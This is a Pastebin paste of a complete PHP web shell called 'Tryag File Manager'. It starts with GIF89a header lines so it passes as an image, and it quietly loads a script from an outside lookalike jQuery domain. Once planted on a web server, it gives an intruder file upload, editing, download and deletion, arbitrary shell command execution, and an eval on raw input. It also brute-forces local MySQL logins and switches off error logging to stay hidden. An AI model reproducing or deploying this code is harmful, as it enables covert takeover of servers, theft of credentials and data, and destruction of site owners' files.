anvenger

Tryag File Manager

Jun 1st, 2018
275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 25.12 KB | None | 0 0
  1. GIF89a1
  2. GIF89a1
  3. GIF89a1
  4. GIF89a1
  5. <?php
  6. error_reporting(0);
  7. set_time_limit(0);
  8. extract(start());
  9. if(get_magic_quotes_gpc()){
  10.     foreach($_POST as $key=>$value){
  11.         $_POST[$key] = stripslashes($value);
  12.     }
  13. }
  14. $_POST['path'] = (isset($_POST['path'])) ? g22b_crypt($_POST['path'],'de') : false;
  15. $_POST['name'] = (isset($_POST['name'])) ? g22b_crypt($_POST['name'],'de') : false;
  16. if(isset($_GET['option']) && $_POST['opt'] == 'download'){
  17.     header('Content-type: text/plain');
  18.     header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
  19.     echo(file_get_contents($_POST['path']));
  20.     exit();
  21. }
  22.  
  23. /**************** Home *********************************/
  24.  
  25. echo '<!DOCTYPE html>
  26. <html>
  27. <head>
  28.    <title>Tryag File Manager</title>
  29.    <meta name="robots" content="noindex" />
  30.     <style>
  31.        body{
  32.            font-family: "Racing Sans One", cursive;
  33.            background-color: #e6e6e6;
  34.            text-shadow:0px 0px 1px #757575;
  35.            margin: 0;
  36.        }
  37.        #container{
  38.            width: auto;
  39.            margin: 10px;
  40.             padding: 10px;
  41.            border: 1px solid black;
  42.            
  43.        }
  44.         #show{
  45.             padding: 10px;
  46.        }
  47.        #header{
  48.            text-align: center;
  49.            border-bottom: 1px dotted black;
  50.        }
  51.        #header h1{
  52.            margin: 0;
  53.        }
  54.        
  55.        #nav,#menu{
  56.            padding-top: 5px;
  57.            margin-left: 5px;
  58.            padding-bottom: 5px;
  59.            overflow: hidden;
  60.            border-bottom: 1px dotted black;
  61.        }
  62.        #nav{
  63.            margin-bottom: 10px;
  64.        }
  65.        
  66.        #menu{
  67.            text-align: center;
  68.        }
  69.        
  70.        #content{
  71.            margin: 0;
  72.             width: auto;
  73.        }
  74.        
  75.        #content table{
  76.            width: 100%;
  77.            margin: 0px;
  78.        }
  79.        #content table .first{
  80.            background-color: silver;
  81.            text-align: center;
  82.        }
  83.        #content table .first:hover{
  84.            background-color: silver;
  85.            text-shadow:0px 0px 1px #757575;
  86.        }
  87.        #content table tr:hover{
  88.            background-color: #636263;
  89.            text-shadow:0px 0px 10px #fff;
  90.        }
  91.        
  92.        #footer{
  93.            margin-top: 10px;
  94.            border-top: 1px dotted black;
  95.        }
  96.        #footer p{
  97.            margin: 5px;
  98.            text-align: center;
  99.        }
  100.        .filename,a{
  101.            color: #000;
  102.            text-decoration: none;
  103.            cursor: pointer;
  104.        }
  105.        .filename:hover,a:hover{
  106.            color: #fff;
  107.            text-shadow:0px 0px 10px #ffffff;
  108.        }
  109.        .center{
  110.            text-align: center;
  111.        }
  112.        input,select,textarea{
  113.            border: 0px #ffffff solid;
  114.            -moz-border-radius: 1px;
  115.            -webkit-border-radius:1px;
  116.            border-radius:2px;
  117.             padding: 2px;
  118.        }
  119.    </style>
  120.    <script>
  121. function Encoder(name)
  122. {
  123.     var e =  document.getElementById(name);
  124.     e.value = btoa(e.value);
  125.     return true;
  126. }
  127. </script>
  128. </head>
  129. <body>
  130.    <div id="container">
  131.        <div id="header"><h1>G22B File Manager</h1>'.Quotes().'</div>
  132.        <div id="menu"><a href="?path='.$currentpathen.'">Home</a> - <a href="?path='.$currentpathen.'&cpanel">Turbo Force</a> - <a href="?path='.$currentpathen.'&secinfo"> Sec. Info</a></div>
  133.        <div id="nav">
  134.            <div class="path">Current Path : '.nav_link().'<br>Safe Mode : '.getSafeMode().'</div>
  135.            <div class="upload">
  136.                <form enctype="multipart/form-data" method="POST" action="?path='.$currentpathen.'&up">
  137.                Upload File : <input type="file" name="file" />
  138.                <input type="submit" value="Upload" />
  139.                </form>
  140.            </div>
  141.            <div class="new">
  142.                <form method="POST" action="?path='.$currentpathen.'&new" onSubmit="Encoder(\'c\')">
  143.                <span>New : </span><input name="name" type="text" size="10" id="c" />
  144.                File <input type="radio" name="type" value="file" checked/>
  145.                Dir <input type="radio" name="type" value="dir" />
  146.                <input type="submit" value="Go" />
  147.                </form>
  148.                 <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  149.            </div>
  150.            <div class="new">
  151.                <form method="POST" action="?path='.$currentpathen.'&exec" onSubmit="Encoder(\'c\')">
  152.                <span>Execute Command\'s : </span><input name="cmd" type="text" id="c" autofocus>
  153.                <input type="submit" value="Go" />
  154.                </form>
  155.            </div>
  156.        </div>
  157.        <div id="content">';
  158. if(isset($_GET['cpanel'])){
  159.     if(isset($_POST['usernames']) && isset($_POST['passwords'])){
  160.         $usernames = base64_decode($_POST['usernames']);
  161.         $passwords = base64_decode($_POST['passwords']);
  162.         $count = 0;
  163.         foreach(explode("\n",$usernames) as $username){
  164.             $username = ($_POST['type'] == 'simple') ? $username : passwdtouser($username);
  165.             foreach(explode("\n",$passwords) as $password){
  166.                 $username = trim($username);
  167.                 $password = trim($password);
  168.                 $co = mysql_connect('localhost',$username,$password);
  169.                 if($co){
  170.                     mysql_close($co);
  171.                     echo "Tryag~ Username (<font color=red>$username</font>) Password (<font color=red>$password</font>)<br />";
  172.                     $count++;
  173.                 }
  174.             }
  175.         }
  176.         echo "$count Usernames Founded.";
  177.     }else{
  178.     echo '<div id="show"><form method="POST" onSubmit="Encoder(\'c\');Encoder(\'b\');">
  179.    Usernames : <br />
  180.    <textarea cols=84 rows=10 id="c" name="usernames"></textarea><br />
  181.    Passwords : <br />
  182.    <textarea cols=84 rows=10 id="b" name="passwords"></textarea><br />
  183.    Usernames Type : Simple : <input type="radio" name="type" value="simple" checked="checked"> - /etc/passwd : <input type="radio" name="type" value="pass">
  184.    <br /><input type="submit" value="Go">
  185.    </form></div>';
  186.     }
  187.     }elseif(isset($_GET['exec'])){
  188.     echo '<textarea cols=100 rows=30%>'.exec_all($_POST['cmd']).'</textarea>';
  189.     }else{
  190.  
  191.         if(isset($_GET['filesrc'])){
  192.             $file = g22b_crypt($_GET['filesrc'],'de');
  193.             echo '<div class="">Current File : '.htmlspecialchars($file).'</div><textarea cols="84" rows="25">'.filesrc($file).'</textarea></pre>';
  194.         }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete' || (isset($_GET['new']) && $_POST['type'] == 'file')){
  195.  
  196.             echo '<div class="center">'.$_POST['name'].'<br />';
  197.            
  198.             if($_POST['opt'] == 'chmod'){
  199.                 if(isset($_POST['perm'])){
  200.    
  201.                     eval('$perm = '.$_POST['perm'].';');
  202.                     if(chmod($_POST['path'],$perm)){
  203.                         echo '<font color="green">Change Permission Done.</font><br />';
  204.                         $permdone = true;
  205.                     }else{
  206.                         echo '<font color="red">Change Permission Error.</font><br />';
  207.                     }
  208.                 }
  209.                 if($permdone){
  210.                     $perm = $_POST['perm'];
  211.                 }else{
  212.                     $perm = substr(sprintf('%o', fileperms($_POST['path'])), -4);
  213.                 }
  214.                
  215.                 echo '<form method="POST">
  216.                Permission : <input name="perm" type="text" size="4" value="'.$perm.'" />
  217.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  218.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  219.                <input type="hidden" name="opt" value="chmod">
  220.                <input type="submit" value="Go" />
  221.                </form>';
  222.             }elseif($_POST['opt'] == 'rename'){
  223.                
  224.                 if(isset($_POST['newname'])){
  225.                     if(rename($_POST['path'],$currentpath.'/'.$_POST['newname'])){
  226.                         echo '<font color="green">Change Name Done.</font><br />';
  227.                         $_POST['name'] = $_POST['newname'];
  228.                     }else{
  229.                         echo '<font color="red">Change Name Error.</font><br />';
  230.                     }
  231.                 }
  232.                
  233.                 echo '<div id="show"><form method="POST">
  234.                New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  235.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  236.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  237.                <input type="hidden" name="opt" value="rename">
  238.                <input type="submit" value="Go" />
  239.                </form></div>';
  240.             }elseif($_POST['opt'] == 'edit' || isset($_GET['new'])){
  241.                 if(isset($_POST['src'])){
  242.                     $fp = fopen($_POST['path'],'w');
  243.                     if(fwrite($fp,base64_decode($_POST['src']))){
  244.                         echo '<font color="green">Edit File Done.</font><br />';
  245.                         $done = true;
  246.                     }else{
  247.                         echo '<font color="red">Edit File Error.</font><br />';
  248.                     }
  249.                     fclose($fp);
  250.                 }
  251.                 if(isset($_GET['new']) && !$done){
  252.                     $filecontent = '';
  253.                     $_POST['path'] = "$currentpath/$_POST[name]";
  254.                 }else{
  255.                     $filecontent = filesrc($_POST['path']);
  256.                 }
  257.                 echo '<div id="show"><form method="POST" onSubmit="Encoder(\'c\')">
  258.                <textarea cols="84" rows="25" name="src" id="c">'.$filecontent.'</textarea><br />
  259.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  260.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  261.                <input type="hidden" name="type" value="file" />
  262.                <input type="hidden" name="opt" value="edit">
  263.                <input type="submit" value="Go" />
  264.                </form></div>';
  265.             }
  266.            
  267.             echo '</div>';
  268.         }else{
  269.             echo '<div id="show"><div class="center">';
  270.             if($_POST['opt'] == 'delete'){
  271.                 if($_POST['type'] == 'dir'){
  272.                     if(rmdir($_POST['path'])){
  273.                         echo '<font color="green">Delete Dir Done.</font><br />';
  274.                     }else{
  275.                         echo '<font color="red">Delete Dir Error.</font><br />';
  276.                     }
  277.                 }elseif($_POST['type'] == 'file'){
  278.                     if(unlink($_POST['path'])){
  279.                         echo '<font color="green">Delete File Done.</font><br />';
  280.                     }else{
  281.                         echo '<font color="red">Delete File Error.</font><br />';
  282.                     }
  283.                 }
  284.             }elseif($_POST['type'] == 'dir' && isset($_GET['new'])){
  285.                 if(mkdir("$currentpath/$_POST[name]")){
  286.                     echo '<font color="green">Create Dir Done.</font><br />';
  287.                 }else{
  288.                     echo '<font color="red">Create Dir Error.</font><br />';
  289.                 }
  290.             }elseif(isset($_FILES['file'])){
  291.                 $userfile_name = $currentpath.'/'.$_FILES['file']['name'];
  292.                 $userfile_tmp = $_FILES['file']['tmp_name'];
  293.                 if(move_uploaded_file($userfile_tmp,$userfile_name)){
  294.                     echo '<font color="green">File Upload Done.</font><br />';
  295.                 }else{
  296.                     echo '<font color="red">File Upload Error.</font><br />';
  297.                 }
  298.             }
  299.             echo '</div></div><table>
  300.                <tr class="first">
  301.                    <td><i class="fa fa-sort-desc"></i> Name</td>
  302.                    <td><i class="fa fa-sort-desc"></i> Size</td>
  303.                    <td><i class="fa fa-sort-desc"></i> Permissions</td>
  304.                    <td><i class="fa fa-sort-desc"></i> Options</td>
  305.                </tr>';
  306.        
  307.         $dirs = getfiles('dir');
  308.         foreach($dirs as $dir){
  309.         echo '<div id="dirs"><tr>
  310.        <td><a href="?path='.$dir['link'].'"><div class="filename"><i class="fa fa-folder"></i> '.$dir['name'].'</div></a></td>
  311.        <td class="center">'.$dir['size'].'</td>
  312.        <td class="center"><font color="'.$dir['permcolor'].'">'.$dir['perm'].'</font></td>
  313.        <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  314.        <select name="opt">
  315.         <option value=""></option>
  316.        <option value="delete">Delete</option>
  317.        <option value="chmod">Chmod</option>
  318.        <option value="rename">Rename</option>
  319.        </select>
  320.        <input type="hidden" name="type" value="dir">
  321.        <input type="hidden" name="name" value="'.g22b_crypt($dir['name'],'en').'">
  322.        <input type="hidden" name="path" value="'.$dir['link'].'">
  323.        <input type="submit" value=">" />
  324.        </form></td>
  325.        </tr>
  326.        </div>';
  327.         }
  328.         echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  329.        
  330.         $files = getfiles('file');
  331.         foreach($files as $file){
  332.             echo '<div id="files">
  333.        
  334.        <tr>
  335.        <td><a href="?path='.$currentpathen.'&filesrc='.$file['link'].'"><div class="filename"><i class="fa fa-file"></i> '.$file['name'].'</div></a></td>
  336.        <td class="center">'.$file['size'].'</td>
  337.        <td class="center"><font color="'.$file['permcolor'].'">'.$file['perm'].'</font></td>
  338.        <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  339.        <select name="opt">
  340.         <option value=""></option>
  341.        <option value="delete">Delete</option>
  342.        <option value="chmod">Chmod</option>
  343.        <option value="rename">Rename</option>
  344.        <option value="edit">Edit</option>
  345.        <option value="download">Download</option>
  346.        </select>
  347.        <input type="hidden" name="type" value="file">
  348.        <input type="hidden" name="name" value="'.g22b_crypt($file['name'],'en').'">
  349.        <input type="hidden" name="path" value="'.$file['link'].'">
  350.        <input type="submit" value=">" />
  351.        </form></td>
  352.        </tr></div>';
  353.         }
  354.             echo '</table>';
  355.         }
  356.     }  
  357.         echo '</div>
  358.        <div id="footer"><p>Tryag File Manager Version <font color="red">2.0</font>, Coded By <font color="red">G-B</font><p>Modded by : Slotleet<br />Website: <font color="red">Sec4ever.com</font></p></div>
  359.    </div>
  360.    
  361.     </body>
  362.     </html>';
  363.  
  364.  
  365. /**************** Functions *********************************/
  366.  
  367.  
  368. function Quotes(){
  369.         $quotes=array(
  370.     "<font size='2'>&quot;When solving problems, dig at the roots instead of just hacking at the leaves&quot;</font>  <font size='1' color='gray'>Anthony J. D'Angelo</font>",
  371.     "<font size='2'>&quot;The difference between stupidity and genius is that genius has its limits&quot;</font>  <font size='1' color='gray'>Albert Einstein</font>",
  372.     "<font size='2'>&quot;As a young boy, I was taught in high school that hacking was cool.&quot;</font>  <font size='1' color='gray'>Kevin Mitnick</font>",
  373.     "<font size='2'>&quot;A lot of hacking is playing with other people, you know, getting them to do strange things.&quot;</font>  <font size='1' color='gray'>Steve Wozniak</font>",
  374.     "<font size='2'>&quot;If you give a hacker a new toy, the first thing he'll do is take it apart to figure out how it works.&quot;</font>  <font size='1' color='gray'>Jamie Zawinski</font>",
  375.     "<font size='2'>&quot;Software Engineering might be science; but that's not what I do. I'm a hacker, not an engineer.&quot;</font>  <font size='1' color='gray'>Jamie Zawinski</font>",
  376.     "<font size='2'>&quot;Never underestimate the determination of a kid who is time-rich and cash-poor&quot;</font>  <font size='1' color='gray'>Cory Doctorow</font>",
  377.     "<font size='2'>&quot;It? hardware that makes a machine fast. It? software that makes a fast machine slow.&quot;</font>  <font size='1' color='gray'>Craig Bruce</font>",
  378.     "<font size='2'>&quot;The function of good software is to make the complex appear to be simple.&quot;</font>  <font size='1' color='gray'>Grady Booch</font>",
  379.     "<font size='2'>&quot;Pasting code from the Internet into production code is like chewing gum found in the street.&quot;</font>  <font size='1' color='gray'>Anonymous</font>",
  380.     "<font size='2'>&quot;Tell me what you need and I'll tell you how to get along without it.&quot;</font>  <font size='1' color='gray'>Anonymous</font>",
  381.     "<font size='2'>&quot;Hmm..&quot;</font> <font size='1' color='gray'>Smash</font>",
  382.     "<font size='2'>&quot;Once we accept our limits, we go beyond them.&quot;</font> <font size='1' color='gray'>Albert Einstein</font>",
  383.     "<font size='2'>&quot;Listen to many, speak to a few.&quot;</font> <font size='1' color='gray'>William Shakespeare</font>",
  384.     "<font size='2'>&quot;The robbed that smiles, steals something from the thief.&quot;</font> <font size='1' color='gray'>William Shakespeare</font>");
  385.     $quote = $quotes[array_rand($quotes)];
  386.     return $quote;
  387. }
  388. function getSafeMode()
  389. {
  390.         global $sm;
  391.         if ($sm) {
  392.             return '<font color="red">ON</font> (Most of the Features will Not Work)';
  393.         }else{
  394.             return '<font color="green">OFF</font>';
  395.         }
  396.        
  397. }
  398. function getfiles($type){
  399.     global $currentpath;
  400.     $dir = scandir($currentpath);
  401.     $result = array();
  402.     foreach($dir as $file){
  403.         $current['fullname'] = "$currentpath/$file";
  404.         if($type == 'dir'){
  405.             if(!is_dir($current['fullname']) || $file == '.' || $file == '..') continue;
  406.         }elseif($type == 'file'){
  407.             if(!is_file($current['fullname'])) continue;
  408.         }
  409.        
  410.         $current['name'] = $file;
  411.         $current['link'] = g22b_crypt($current['fullname'],'en');
  412.         $current['size'] = (is_dir($current['fullname'])) ? 'Folder' : file_size($current['fullname']);
  413.         $current['perm'] = perms($current['fullname']);
  414.         if(is_writable($current['fullname'])){
  415.             $current['permcolor'] = 'green';
  416.         }elseif(is_readable($current['fullname'])){
  417.             $current['permcolor'] = '';
  418.         }else{
  419.             $current['permcolor'] = 'red';
  420.         }
  421.        
  422.         $result[] = $current;
  423.        
  424.     }
  425.     return $result;
  426. }
  427. function start(){
  428.     global $_POST,$_GET;
  429.    
  430.     $result['currentpath'] = (isset($_GET['path'])) ? g22b_crypt($_GET['path'],'de') : cwd();
  431.     $result['currentpathen'] = (isset($_GET['path'])) ? $_GET['path'] : g22b_crypt(cwd(),'en');
  432.    
  433.     return $result;
  434. }
  435. function file_size($file){
  436.     $size = filesize($file)/1024;
  437.     $size = round($size,3);
  438.     if($size >= 1024){
  439.         $size = round($size/1024,2).' MB';
  440.     }else{
  441.         $size = $size.' KB';
  442.     }
  443.     return $size;
  444. }
  445. function g22b_crypt($txt,$type){
  446.     if(function_exists('base64_encode') && function_exists('base64_decode')){
  447.         return ($type == 'en') ? base64_encode($txt) : base64_decode($txt);
  448.     }elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){
  449.         return ($type == 'en') ? strToHex($txt) : hexToStr($txt);
  450.     }else{
  451.         $ar1 = array('public_html','.htaccess','/','.');
  452.         $ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb');
  453.         return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
  454.     }
  455. }
  456. function exec_all($command)
  457. {
  458.    
  459.     $output = '';
  460.     if(function_exists('exec'))
  461.     {  
  462.         exec($command,$output);
  463.         $output = join("\n",$output);
  464.     }
  465.    
  466.     else if(function_exists('shell_exec'))
  467.     {
  468.         $output = shell_exec($command);
  469.     }
  470.    
  471.     else if(function_exists('popen'))
  472.     {
  473.         $handle = popen($command , "r"); // Open the command pipe for reading
  474.         if(is_resource($handle))
  475.         {
  476.             if(function_exists('fread') && function_exists('feof'))
  477.             {
  478.                 while(!feof($handle))
  479.                 {
  480.                     $output .= fread($handle, 512);
  481.                 }
  482.             }
  483.             else if(function_exists('fgets') && function_exists('feof'))
  484.             {
  485.                 while(!feof($handle))
  486.                 {
  487.                     $output .= fgets($handle,512);
  488.                 }
  489.             }
  490.         }
  491.         pclose($handle);
  492.     }
  493.     else if(function_exists('system'))
  494.     {
  495.         ob_start(); //start output buffering
  496.         system($command);
  497.         $output = ob_get_contents();    // Get the ouput
  498.         ob_end_clean();                 // Stop output buffering
  499.     }
  500.     else if(function_exists('passthru'))
  501.     {
  502.         ob_start(); //start output buffering
  503.         passthru($command);
  504.         $output = ob_get_contents();    // Get the ouput
  505.         ob_end_clean();                 // Stop output buffering            
  506.     }
  507.     else if(function_exists('proc_open'))
  508.     {
  509.         $descriptorspec = array(
  510.                 1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  511.                 );
  512.         $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  513.         if(is_resource($handle))
  514.         {
  515.             if(function_exists('fread') && function_exists('feof'))
  516.             {
  517.                 while(!feof($pipes[1]))
  518.                 {
  519.                     $output .= fread($pipes[1], 512);
  520.                 }
  521.             }
  522.             else if(function_exists('fgets') && function_exists('feof'))
  523.             {
  524.                 while(!feof($pipes[1]))
  525.                 {
  526.                     $output .= fgets($pipes[1],512);
  527.                 }
  528.             }
  529.         }
  530.         pclose($handle);
  531.     }
  532.     return(htmlspecialchars($output));
  533. }
  534. if(function_exists('ini_set'))
  535. {
  536.     ini_set('error_log',NULL);  // No alarming logs
  537.     ini_set('log_errors',0);    // No logging of errors
  538.     ini_set('file_uploads',1);  // Enable file uploads
  539.     ini_set('allow_url_fopen',1);   // allow url fopen
  540. }else{
  541.     ini_alter('error_log',NULL);
  542.     ini_alter('log_errors',0);
  543.     ini_alter('file_uploads',1);
  544.     ini_alter('allow_url_fopen',1);
  545. }
  546. function strToHex($string){
  547.     $hex='';
  548.     for ($i=0; $i < strlen($string); $i++)
  549.     {
  550.         $hex .= dechex(ord($string[$i]));
  551.     }
  552.     return $hex;
  553. }
  554. function hexToStr($hex){
  555.     $string='';
  556.     for ($i=0; $i < strlen($hex)-1; $i+=2)
  557.     {
  558.         $string .= chr(hexdec($hex[$i].$hex[$i+1]));
  559.     }
  560.     return $string;
  561. }
  562. function nav_link(){
  563.     global $currentpath;
  564.     $path = $currentpath;
  565.     $path = str_replace('\\','/',$path);
  566.     $paths = explode('/',$path);
  567.     $result = '';
  568.     foreach($paths as $id=>$pat){
  569.         if($pat == '' && $id == 0){
  570.             $a = true;
  571.             $result .= '<a href="?path='.g22b_crypt("/",'en').'">/</a>';
  572.             continue;
  573.         }
  574.         if($pat == '') continue;
  575.         $result .= '<a href="?path=';
  576.         $linkpath = '';
  577.         for($i=0;$i<=$id;$i++){
  578.             $linkpath .= "$paths[$i]";
  579.             if($i != $id) $linkpath .= "/";
  580.         }
  581.         $result .= g22b_crypt($linkpath,'en');
  582.         $result .=  '">'.$pat.'</a>/';
  583.     }
  584.     return $result;
  585. }
  586. function filesrc($file){
  587.     return htmlspecialchars(file_get_contents($file));
  588. }
  589. function cwd(){
  590.     if(function_exists('getcwd')){
  591.         return getcwd();
  592.     }else{
  593.         $e = str_replace("\\","/",$path);
  594.         $e = explode('/',$path);
  595.         $result = '';
  596.         for($i=0;$i<count($e)-1;$i++){
  597.             if($e[$i] == '') continue;
  598.             $result .= '/'.$e[$i];
  599.         }
  600.         return $result;
  601.     }
  602. }
  603. function passwdtouser($line){
  604.     $user = explode(':',$line);
  605.     return $user[0];
  606. }
  607. function perms($file){
  608.     $perms = @fileperms($file);
  609.  
  610. if (($perms & 0xC000) == 0xC000) {
  611.     // Socket
  612.     $info = 's';
  613. } elseif (($perms & 0xA000) == 0xA000) {
  614.     // Symbolic Link
  615.     $info = 'l';
  616. } elseif (($perms & 0x8000) == 0x8000) {
  617.     // Regular
  618.     $info = '-';
  619. } elseif (($perms & 0x6000) == 0x6000) {
  620.     // Block special
  621.     $info = 'b';
  622. } elseif (($perms & 0x4000) == 0x4000) {
  623.     // Directory
  624.     $info = 'd';
  625. } elseif (($perms & 0x2000) == 0x2000) {
  626.     // Character special
  627.     $info = 'c';
  628. } elseif (($perms & 0x1000) == 0x1000) {
  629.     // FIFO pipe
  630.     $info = 'p';
  631. } else {
  632.     // Unknown
  633.     $info = 'u';
  634. }
  635. // Owner
  636. $info .= (($perms & 0x0100) ? 'r' : '-');
  637. $info .= (($perms & 0x0080) ? 'w' : '-');
  638. $info .= (($perms & 0x0040) ?
  639.             (($perms & 0x0800) ? 's' : 'x' ) :
  640.             (($perms & 0x0800) ? 'S' : '-'));
  641. // Group
  642. $info .= (($perms & 0x0020) ? 'r' : '-');
  643. $info .= (($perms & 0x0010) ? 'w' : '-');
  644. $info .= (($perms & 0x0008) ?
  645.             (($perms & 0x0400) ? 's' : 'x' ) :
  646.             (($perms & 0x0400) ? 'S' : '-'));
  647. // World
  648. $info .= (($perms & 0x0004) ? 'r' : '-');
  649. $info .= (($perms & 0x0002) ? 'w' : '-');
  650. $info .= (($perms & 0x0001) ?
  651.             (($perms & 0x0200) ? 't' : 'x' ) :
  652.             (($perms & 0x0200) ? 'T' : '-'));
  653.     return $info;
  654. }?>
Add Comment
Please, Sign In to add comment